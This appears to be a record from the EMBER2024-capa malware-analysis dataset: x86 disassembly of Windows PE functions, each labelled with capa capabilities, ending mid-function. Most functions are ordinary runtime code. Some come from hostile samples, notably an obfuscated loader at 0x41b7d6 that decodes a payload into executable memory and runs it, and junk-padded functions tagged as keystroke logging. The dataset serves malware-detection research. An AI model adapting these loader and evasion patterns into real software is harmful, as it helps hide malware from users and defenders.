joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419070
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x4309dc]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x419083
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x4190c4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x430a84]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x4190f6
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4190fa
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x4190eb
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x419118
mov bl, byte [esp + ecx + 0x4c]
jmp 0x41911c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x41910d
xor ecx, ecx
mov eax, 0x4309ec
xor ebx, ebx
mov bl, byte [ecx + 0x430a94]
cmp byte [esp + ebx + 0x14], 0
je 0x419147
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x430aac]
cmp byte [esp + ebx + 0x14], 0
je 0x41915e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x41912e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x4190b7
lea edx, [esp + 0x84]
push edx
call fcn.004191a0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x407054], 1
mov dword [0x407050], 1
mov dword [0x40704c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40700c], eax
mov eax, dword [0x407060]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x407074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40705c]
mov dword [eax], edx
call sym.__setargv
cmp dword [0x404018], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], sym.__matherr
call sym.___mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4013f0
Capabilities:
Terminate process

Disassembly:
mov dword [0x407060], 0
jmp sym.___tmainCRTStartup
Function at 0x401e70
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401ed0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x407068]
test esi, esi
jle 0x401ff0
mov eax, dword [0x40706c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401f04
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401f87
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401ef0
mov dword [esp], ebx
call sym.___mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x402017
mov eax, dword [0x40706c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
mov edx, dword [0x40706c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ff7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401f80
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401f90
add dword [0x407068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40706c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401f80
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401f0e
mov eax, dword [0x40706c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
lea esi, [esi]
nop
Function at 0x402530
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x407084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40707c]
sub esp, 4
test ebx, ebx
je 0x402585
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40257e
test esi, esi
je 0x40257e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402560
mov dword [esp], 0x407084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4028c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4028e5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4028f0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4028e5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402938
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40292e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40293a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402920
xor eax, eax
pop ebx
pop esi
ret
Function at 0x406ced
Capabilities:
Parse pe header

Disassembly:
push 0x74
push 0x40af98
call fcn.00406fd4
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x406d2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406d2d
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x406d45
cmp eax, 0x20b
je 0x406d32
mov dword [ebp - 0x1c], ebx
jmp 0x406d59
cmp dword [ecx + 0x84], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x406d53
cmp dword [ecx + 0x74], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40ea78], 0xffffffff
or dword [0x40ea7c], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x40d464]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x40d460]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40ea74], eax
call fcn.0055a000
call fcn.00406fd0
cmp dword [0x40d320], ebx
jne 0x406db9
push fcn.00406fd0
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00406fbe
push 0x40c00c
push 0x40c008
call sub.MSVCR71.dll__initterm
push 0x406f74
call fcn.00406f1e
mov eax, dword [0x40d45c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40d458]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x406e0d
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x40c004
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x406e8b
cmp al, bl
je 0x406e37
cmp dword [ebp - 0x20], ebx
jne 0x406e8b
mov al, byte [esi]
cmp al, bl
je 0x406e47
cmp al, 0x20
ja 0x406e47
inc esi
mov dword [ebp - 0x24], esi
jmp 0x406e37
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x406e63
movzx eax, word [ebp - 0x54]
jmp 0x406e66
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00404254
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x406e83
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x406ee0
cmp al, 0x22
jne 0x406e9a
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x406ead
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x406e25
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0040700f
ret
Function at 0x419fed
Capabilities:
Authenticate hmac

Disassembly:
movzx eax, word [ecx + 0x32]
cmp eax, 0x46
jne 0x41a010
mov eax, dword [ecx]
and eax, 8
or eax, 0
jne 0x41a166
mov dword [ecx + 0x1c], 7
jmp fcn.0041b7d6
cmp eax, 0x4e
jne 0x41a03b
mov eax, dword [ecx]
push 8
pop edx
and eax, edx
or eax, 0
jne 0x41a166
mov dword [ecx + 0x1c], edx
call fcn.00423146
mov dword [eax], 0x16
call fcn.0043bc11
xor al, al
ret
cmp dword [ecx + 0x2c], 0
jne 0x41a028
cmp eax, 0x6a
jg 0x41a117
je 0x41a10e
cmp eax, 0x49
je 0x41a0a8
cmp eax, 0x4c
je 0x41a09c
cmp eax, 0x54
je 0x41a090
push 0x68
pop edx
cmp eax, edx
jne 0x41a166
mov eax, dword [ecx + 0x10]
cmp word [eax], dx
jne 0x41a084
add eax, 2
mov dword [ecx + 0x2c], 1
mov dword [ecx + 0x10], eax
jmp 0x41a166
mov dword [ecx + 0x2c], 2
jmp 0x41a166
mov dword [ecx + 0x2c], 0xd
jmp 0x41a166
mov dword [ecx + 0x2c], 8
jmp 0x41a166
mov edx, dword [ecx + 0x10]
movzx eax, word [edx]
cmp eax, 0x33
jne 0x41a0cc
cmp word [edx + 2], 0x32
jne 0x41a0cc
lea eax, [edx + 4]
mov dword [ecx + 0x2c], 0xa
mov dword [ecx + 0x10], eax
jmp 0x41a166
cmp eax, 0x36
jne 0x41a0e7
cmp word [edx + 2], 0x34
jne 0x41a0e7
lea eax, [edx + 4]
mov dword [ecx + 0x2c], 0xb
mov dword [ecx + 0x10], eax
jmp 0x41a166
cmp eax, 0x64
je 0x41a105
cmp eax, 0x69
je 0x41a105
cmp eax, 0x6f
je 0x41a105
cmp eax, 0x75
je 0x41a105
cmp eax, 0x78
je 0x41a105
cmp eax, 0x58
jne 0x41a166
mov dword [ecx + 0x2c], 9
jmp 0x41a166
mov dword [ecx + 0x2c], 5
jmp 0x41a166
push 0x6c
pop edx
cmp eax, edx
je 0x41a148
cmp eax, 0x74
je 0x41a13f
cmp eax, 0x77
je 0x41a136
cmp eax, 0x7a
jne 0x41a166
mov dword [ecx + 0x2c], 6
jmp 0x41a166
mov dword [ecx + 0x2c], 0xc
jmp 0x41a166
mov dword [ecx + 0x2c], 7
jmp 0x41a166
mov eax, dword [ecx + 0x10]
cmp word [eax], dx
jne 0x41a15f
add eax, 2
mov dword [ecx + 0x2c], 4
mov dword [ecx + 0x10], eax
jmp 0x41a166
mov dword [ecx + 0x2c], 3
mov al, 1
ret
Function at 0x41b7d6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x41b7e5
pop dword [ebp - 0x4c]
mov eax, 0x41b7e5
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x1628b185
add dword [ebp - 0x5c], 0x382993c6
mov dword [ebp - 0x58], 0x8be51fef
add dword [ebp - 0x58], 0xa64e2c56
mov dword [ebp - 0x54], 0x58f40148
sub dword [ebp - 0x54], 0xca7bd1a
mov dword [ebp - 0x50], 0x6c83907a
sub dword [ebp - 0x50], 0x6c83907a
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xe6218943
sub eax, 0xe5dbd8df
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xc966945d
add dword [ebp - 0x5c], 0xab0bd4f9
mov dword [ebp - 0x58], 0x1d8b945b
sub dword [ebp - 0x58], 0xdc1f32e6
mov dword [ebp - 0x54], 0xd186bfc6
sub dword [ebp - 0x54], 0x6e17535a
mov dword [ebp - 0x50], 0x4264a3f9
add dword [ebp - 0x50], 0xbd9b5c07
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x5935d0b4
add eax, 0xa70fdfcc
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x4cf38
push 0
call eax
mov ecx, 0xaa960666
sub ecx, 0xaa95bfe9
mov esi, eax
mov edx, 0xea8a5606
sub edx, 0xea42f606
add edx, dword [ebp - 0x4c]
mov edi, 0xeebdc86c
add edi, 0x7de3181d
add dword [ebp - 0x48], 0xca57ab84
mov ebx, dword [edx]
sub ebx, edi
xor dword [ebp - 0x14], edi
mov dword [esi], ebx
xor dword [ebp - 0x34], 0x10d2c0da
add esi, 0xf9f7174e
sub esi, 0xf9f7174a
add edx, 4
loop 0x41b902
add eax, 0xcab27e1b
sub eax, 0xcab17154
xor ebx, ebx
add ebx, eax
add eax, 0xf2f90b6b
add eax, 0xd06f49a
mov ecx, 0xda881b35
sub ecx, 0xda481b35
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10006adb
Capabilities:
Encode data using xor
Log keystrokes

Disassembly:
mov eax, 0x1005f509
call fcn.1005ecf4
sub esp, 0x14
cmp byte [ebp + 0xc], 0
mov eax, edx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
je 0x10006b32
cmp byte [ebp + 8], 0
je 0x10006b18
push 0
push 0x71b
push 0x1eb9
push 0x23e1
call dword [sym.imp.GDI32.dll_SetPixel]
jmp 0x10006bfa
cmp dword [ecx], 0xffffffff
je 0x10006bfa
mov edx, ecx
mov ecx, eax
push 0
call fcn.10006fba
pop ecx
jmp 0x10006bfa
cmp byte [ebp + 0x10], 0
je 0x10006b49
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x10006bfa
mov dword [ebp - 0x18], 0x5aa
cmp dword [ebp - 0x18], 0x5e8
jle 0x10006bbd
xor esi, esi
mov dword [ebp - 0x14], esi
xor edi, edi
mov eax, esi
mov dword [ebp + 0xc], 0x498b
cdq
xor ebx, ebx
idiv edi
mov dword [ebp - 0x1c], edx
xor esi, esi
mov eax, ebx
mov ecx, 0x10079358
xor eax, esi
cdq
push edx
push eax
call fcn.100033d6
inc esi
cmp esi, 0x5821
jl 0x10006b73
add ebx, dword [ebp - 0x1c]
dec dword [ebp + 0xc]
jne 0x10006b71
mov esi, dword [ebp - 0x14]
inc edi
cmp edi, 0x7362
jl 0x10006b60
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0xd42
jl 0x10006b5e
push 0x778
push 0x1dda
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov byte [ebp + 0xf], 0
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x1f8
jge 0x10006bdd
mov edx, str.anssixt_eopbqr_geznlhc_rmkyvh
mov ecx, 0x10079358
call fcn.1000562f
cmp byte [ebp + 0xf], 0
je 0x10006bfa
push 0
push 0x955
push 0x1358
push 0x3e9
call dword [sym.imp.GDI32.dll_MoveToEx]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009459
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
cmp byte [ebp + 8], 0
push ebx
push esi
push edi
mov dword [ebp - 0x1c], edx
je 0x100095c5
mov dword [ebp - 0x14], 0x294c
cmp dword [ebp - 0x14], 0x2ac9
push 0
pop esi
jle 0x1000951b
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, esi
mov dword [ebp - 0x10], esi
mov ebx, esi
mov dword [ebp - 0xc], esi
mov ecx, ebx
mov dword [ebp + 8], edi
mov ebx, edi
mov eax, esi
shl ebx, cl
mov dword [ebp - 8], eax
mov dword [ebp + 8], ebx
mov ecx, eax
mov dword [ebp - 0x18], ebx
mov edi, esi
sar ebx, cl
mov ecx, edi
mov eax, ebx
shl eax, cl
lea ecx, [ebp - 0x34]
cdq
push edx
push eax
call fcn.10001ac4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100094cd
mov eax, dword [eax]
push eax
call fcn.10046ccf
pop ecx
push esi
push 1
lea ecx, [ebp - 0x34]
call fcn.100038da
inc edi
cmp edi, 0xecd
jl 0x100094b2
mov eax, dword [ebp - 8]
mov ebx, dword [ebp + 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, 0x22c0
jl 0x100094a9
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
inc ebx
mov dword [ebp - 0xc], ebx
cmp ebx, 0x282e
jl 0x10009498
inc edi
mov dword [ebp - 0x10], edi
cmp edi, 0x73f6
jl 0x10009493
cmp dword [ebp - 0x14], 0x280b
jge 0x1000952f
push str.wbgejxb_qctl_wxhfrnnls_aztwsucx_jiikgur_dtvb_yxwbuyhsq_zzllk_stxcsvnfx_fyj_xatj_rrzfeowcl_ovtl_vtbluyk
call fcn.10046ccf
pop ecx
mov dword [ebp - 0x14], 0x427a
cmp dword [ebp - 0x14], 0x442b
jle 0x10009587
mov edi, esi
mov dword [ebp + 8], esi
mov ebx, edi
mov edi, 0x17d5
mov eax, ebx
lea ecx, [ebp - 0x4c]
cdq
push edx
push eax
call fcn.10001ac4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10009562
mov eax, dword [eax]
push eax
call fcn.10046ccf
pop ecx
push esi
push 1
lea ecx, [ebp - 0x4c]
call fcn.100038da
dec ebx
dec edi
jne 0x1000954b
mov edi, dword [ebp + 8]
inc edi
mov dword [ebp + 8], edi
cmp edi, 0x16d4
jl 0x10009544
cmp byte [ebp + 0x18], 0
je 0x10009594
mov eax, dword [ebp - 0x1c]
mov dword [eax], esi
jmp 0x100095af
mov edx, dword [ebp + 0xc]
mov dword [edx], esi
cmp dword [edx], 1
jge 0x100095af
mov edi, dword [ebp + 0x14]
mov ecx, dword [edx]
mov eax, dword [edi]
mov dword [eax + ecx*4], esi
inc dword [edx]
cmp dword [edx], 1
jl 0x100095a1
cmp dword [ebp - 0x14], 0x4077
jge 0x100095f6
push str.trgdnvgxd_ela_lid_lfpt_jjmomlh_fmx_yrh_rtbqgyxip
call fcn.10046ccf
pop ecx
jmp 0x100095f6
cmp byte [ebp + 0x10], 0
je 0x100095e7
push 0x202a
xor esi, esi
push esi
push 0x1b79
push esi
push esi
push 0x2120
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
jmp 0x100095f6
cmp byte [ecx], 0
je 0x100095f6
mov edx, 0x43fa
call fcn.10007015
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000abc4
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1005f7c9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x84
push ebx
push esi
push ecx
mov edx, 0x2426
lea ecx, [esp + 0x40]
call fcn.10023a9d
pop ecx
xor esi, esi
lea ecx, [esp + 0x6c]
push eax
mov dword [esp + 0x98], esi
call fcn.10001afc
xor ebx, ebx
mov byte [esp + 0x94], 2
push esi
inc ebx
lea ecx, [esp + 0x40]
push ebx
call fcn.10003de5
lea eax, [esp + 0x6c]
push eax
push ecx
push ebx
push 0x424d
call fcn.1000aa0a
add esp, 0xc
lea ecx, [esp + 0x28]
mov edx, 0x233e
call fcn.10023a9d
mov edx, 0x233f
mov byte [esp + 0x98], 3
lea ecx, [esp + 0x40]
call fcn.10023a9d
pop ecx
mov edx, eax
mov byte [esp + 0x94], 4
lea ecx, [esp + 0x18]
call fcn.10007162
push esi
push ebx
lea ecx, [esp + 0x44]
mov byte [esp + 0x9c], 6
call fcn.10003de5
push ecx
mov edx, 0x2340
lea ecx, [esp + 0x58]
call fcn.10023a9d
pop ecx
mov edx, eax
mov byte [esp + 0x94], 7
lea ecx, [esp + 0xc]
call fcn.10007162
push esi
push ebx
lea ecx, [esp + 0x5c]
mov byte [esp + 0x9c], 9
call fcn.10003de5
lea eax, [esp + 0xc]
mov dl, bl
push eax
push ebx
push ebx
lea eax, [esp + 0x30]
mov ecx, 0x702a
push eax
push 0x903
lea eax, [esp + 0x2c]
push 0x3a2e
push eax
call fcn.1000aa95
add esp, 0x1c
lea ecx, [esp + 0xc]
call fcn.1000b92c
lea ecx, [esp + 0x18]
call fcn.1000b92c
push esi
push ebx
lea ecx, [esp + 0x2c]
call fcn.10003de5
or dword [esp + 0x94], 0xffffffff
lea ecx, [esp + 0x6c]
call fcn.100032f7
mov ecx, dword [esp + 0x8c]
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001044b
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
push esi
xor esi, esi
mov dword [ecx + 4], edx
push edi
inc esi
lea edi, [ecx + 8]
mov ebx, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi], edx
lea edi, [edi + 4]
cmp esi, ebx
jl 0x10010462
pop edi
pop esi
mov dword [ecx], ebx
pop ebx
pop ebp
ret 8

Function at 0x10010484
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov edx, 0x1013e434
push edi
mov esi, edx
mov edi, 0x7fffffff
mov ecx, dword [esi + 0x9c4]
xor ecx, dword [esi + 0x9c0]
and ecx, edi
xor ecx, dword [esi + 0x9c0]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0xff4]
xor eax, ecx
mov dword [esi], eax
add esi, 4
cmp esi, 0x1013e7c0
jl 0x10010492
mov esi, 0x9908b0df
mov ecx, dword [edx + 0xd50]
xor ecx, dword [edx + 0xd4c]
and ecx, edi
xor ecx, dword [edx + 0xd4c]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, esi
xor eax, ecx
xor eax, dword [edx]
mov dword [edx + 0x38c], eax
add edx, 4
cmp edx, 0x1013ea64
jl 0x100104d2
mov ecx, dword [0x1013f7b0]
xor ecx, dword [0x1013e434]
and ecx, edi
xor ecx, dword [0x1013f7b0]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
and dword [0x1013e430], 0
and eax, esi
shr ecx, 1
xor eax, ecx
xor eax, dword [0x1013ea64]
mov dword [0x1013edf0], eax
pop esi
ret
Function at 0x10013f30
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005fae7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x10014089
mov dword [ebp - 0x24], 0x5028
mov dword [ebp - 0x30], str.lfiv_smysnzt_ocbeynkld_zjbrov_wxm_wxjan_bmekvw
cmp dword [ebp - 0x24], 0x5277
jle 0x10014025
and dword [ebp - 0x1c], 0
jmp 0x10013f86
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x3410
jge 0x10014025
and dword [ebp - 0x14], 0
jmp 0x10013fa0
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x225f
jge 0x10014020
and dword [ebp - 0x18], 0
jmp 0x10013fb6
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x7774
jge 0x1001401b
and dword [ebp - 0x20], 0
jmp 0x10013fcc
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x6e9b
jge 0x10014019
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sar eax, cl
mov ecx, dword [ebp - 0x20]
shl eax, cl
cdq
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
push dword [ebp - 0x54]
push dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
call fcn.10001ac4
pop ecx
pop ecx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
call fcn.100033b6
push eax
call fcn.10046ccf
pop ecx
lea ecx, [ebp - 0x70]
call fcn.100033ac
jmp 0x10013fc5
jmp 0x10013faf
jmp 0x10013f99
jmp 0x10013f7f
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x34], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x4d77
jge 0x10014041
push dword [ebp - 0x30]
call fcn.10046ccf
pop ecx
jmp 0x1001405d
or dword [ebp - 4], 0xffffffff
jmp 0x10014067
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
push 0x3919
push 1
push dword [ebp - 0x34]
push 0x317a
push dword [ebp - 0x38]
call fcn.100140f1
add esp, 0x14
jmp 0x100140e0
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x4c], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
movzx eax, byte [eax]
test eax, eax
je 0x100140c9
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
movzx eax, byte [eax]
test eax, eax
je 0x100140c7
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x100140e0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x28]
